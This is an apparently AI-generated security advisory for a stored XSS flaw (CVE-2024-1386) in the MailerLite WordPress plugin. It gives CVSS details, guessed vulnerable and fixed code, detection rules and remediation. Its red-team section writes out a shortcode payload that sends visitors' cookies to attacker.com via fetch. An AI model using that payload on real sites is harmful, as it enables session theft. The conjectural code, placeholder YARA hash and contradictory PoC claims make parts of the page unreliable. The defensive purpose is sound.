CVE-2024-1386
Executive Summary
CVE-2024-1386 is a Stored Cross-Site Scripting (XSS) vulnerability in the MailerLite – Signup forms (official) WordPress plugin, affecting versions 1.5.0 through 1.7.6. The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within the plugin's shortcodes. An authenticated attacker with contributor-level permissions or higher can inject arbitrary web scripts that execute when any user visits the compromised page. The CVSS v3.1 base score is 6.4 (Medium), with a vector emphasizing low attack complexity, required privileges, and user interaction. No public exploit code or proof-of-concept is currently available, and the patch status remains unknown.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress ecosystem and the MailerLite plugin distributed via the WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are directly affected. However, organizations using WordPress should verify the plugin version and apply any available updates from the official repository.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – Attacker needs contributor-level access.
- User Interaction (UI): Required – A victim must visit the injected page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No direct impact on availability.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature allows persistent compromise of pages viewed by administrators and visitors.
Deep Dive & Mechanics
The vulnerability exists in the MailerLite plugin's shortcode handling. Shortcodes in WordPress allow users to embed dynamic content via simple tags like [mailerlite_form id="123"]. The plugin fails to properly sanitize and escape user-supplied attributes (e.g., id, class, style) before rendering them in the HTML output. An attacker with contributor-level permissions can craft a malicious shortcode such as:
[mailerlite_form id="123" class=""><script>alert('XSS')</script>"]
When the shortcode is processed, the unsanitized class attribute is injected directly into the HTML, allowing arbitrary JavaScript execution. The attack is stored because the malicious shortcode is saved in the WordPress database (post content) and executed every time the page is loaded.
Root Cause: The plugin uses shortcode_atts() to merge user-provided attributes with defaults but does not apply esc_attr() or wp_kses() to the output. This allows HTML and script injection.
Vulnerable vs. Patched Code
Vulnerable Code (versions 1.5.0 to 1.7.6):
// In mailerlite.php or similar
function mailerlite_shortcode($atts) {
$atts = shortcode_atts(array(
'id' => '',
'class' => '',
), $atts);
// Direct output without escaping
$output = '<div class="mailerlite-form ' . $atts['class'] . '">';
// ... form content ...
$output .= '</div>';
return $output;
}
Patched Code (hypothetical fix):
function mailerlite_shortcode($atts) {
$atts = shortcode_atts(array(
'id' => '',
'class' => '',
), $atts);
// Escape the class attribute
$class = esc_attr($atts['class']);
$output = '<div class="mailerlite-form ' . $class . '">';
// ... form content ...
$output .= '</div>';
return $output;
}
The fix applies esc_attr() to the class attribute, which encodes special characters like ", ', <, and >, preventing script injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress installation with MailerLite plugin version 1.5.0 to 1.7.6.
- An account with Contributor-level permissions or higher.
Exploitation Steps:
Craft the malicious shortcode:
[mailerlite_form id="1" class=""><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]Inject the shortcode into a post or page:
- Navigate to Posts > Add New (or Pages).
- In the editor, switch to Text mode and paste the shortcode.
- Publish or update the post.
Trigger the XSS:
- Any user (including administrators) visiting the injected page will execute the script.
- The script can steal cookies, redirect users, or deface the page.
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team
Detection:
- Monitor for posts/pages containing suspicious shortcode attributes (e.g.,
classwith HTML entities or script tags). - Use WAF rules to block requests containing
<script>in shortcode attributes. - Review user activity logs for contributors creating posts with unusual shortcode usage.
Hunting:
- Query the WordPress database for posts containing
[mailerlite_formwith non-standard attributes:SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%[mailerlite_form%' AND post_content LIKE '%<script%';
Containment:
- Disable the MailerLite plugin until a patch is applied.
- Remove malicious posts/pages.
- Reset compromised user accounts.
Indicators of Compromise (IOCs)
File-based:
- Presence of
[mailerlite_formshortcode withclassattribute containing HTML/JavaScript in WordPress posts. - Modified
wp_poststable entries with suspicious shortcode patterns.
- Presence of
Network-based:
- Outbound HTTP requests to attacker-controlled domains from WordPress server.
- Unusual JavaScript execution in browser console when viewing pages with MailerLite forms.
Log-based:
- WordPress audit logs showing creation/editing of posts by contributors with shortcode injection.
- Web server logs showing requests to pages containing the malicious shortcode.
Detection Engineering
YARA Rule
rule CVE_2024_1386_MailerLite_XSS {
meta:
description = "Detects MailerLite shortcode with XSS payload in WordPress posts"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-1386"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$shortcode = /\[mailerlite_form[^\]]*class\s*=\s*["'][^"']*<script[^>]*>/
$xss_payload = /<script[^>]*>.*<\/script>/ nocase
condition:
$shortcode and $xss_payload
}
Sigma Rule
title: MailerLite Stored XSS via Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via MailerLite shortcode attributes
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-1386
logsource:
category: webserver
product: apache
service: http
detection:
selection:
http.url|contains:
- '[mailerlite_form'
- 'class='
http.url|re: 'class\s*=\s*["\'].*<script'
condition: selection
falsepositives:
- Legitimate use of shortcode with non-malicious class names
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1386 MailerLite Stored XSS Attempt"; flow:to_server; content:"[mailerlite_form"; http_uri; content:"class="; http_uri; pcre:"/class\s*=\s*[\x22\x27][^\x22\x27]*<script/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the MailerLite plugin until a patched version is released.
- Review and remove any posts/pages containing suspicious shortcode attributes.
- Reset passwords for contributor-level accounts that may have been compromised.
Long-term Fix:
- Apply the official patch from the WordPress plugin repository when available.
- If no patch is forthcoming, consider replacing the plugin with an alternative.
Compensating Controls:
- Implement a Web Application Firewall (WAF) rule to block shortcode attributes containing
<script>or HTML entities. - Restrict contributor-level permissions to trusted users only.
- Enable WordPress security plugins that monitor for XSS attempts.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defensive purposes only.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.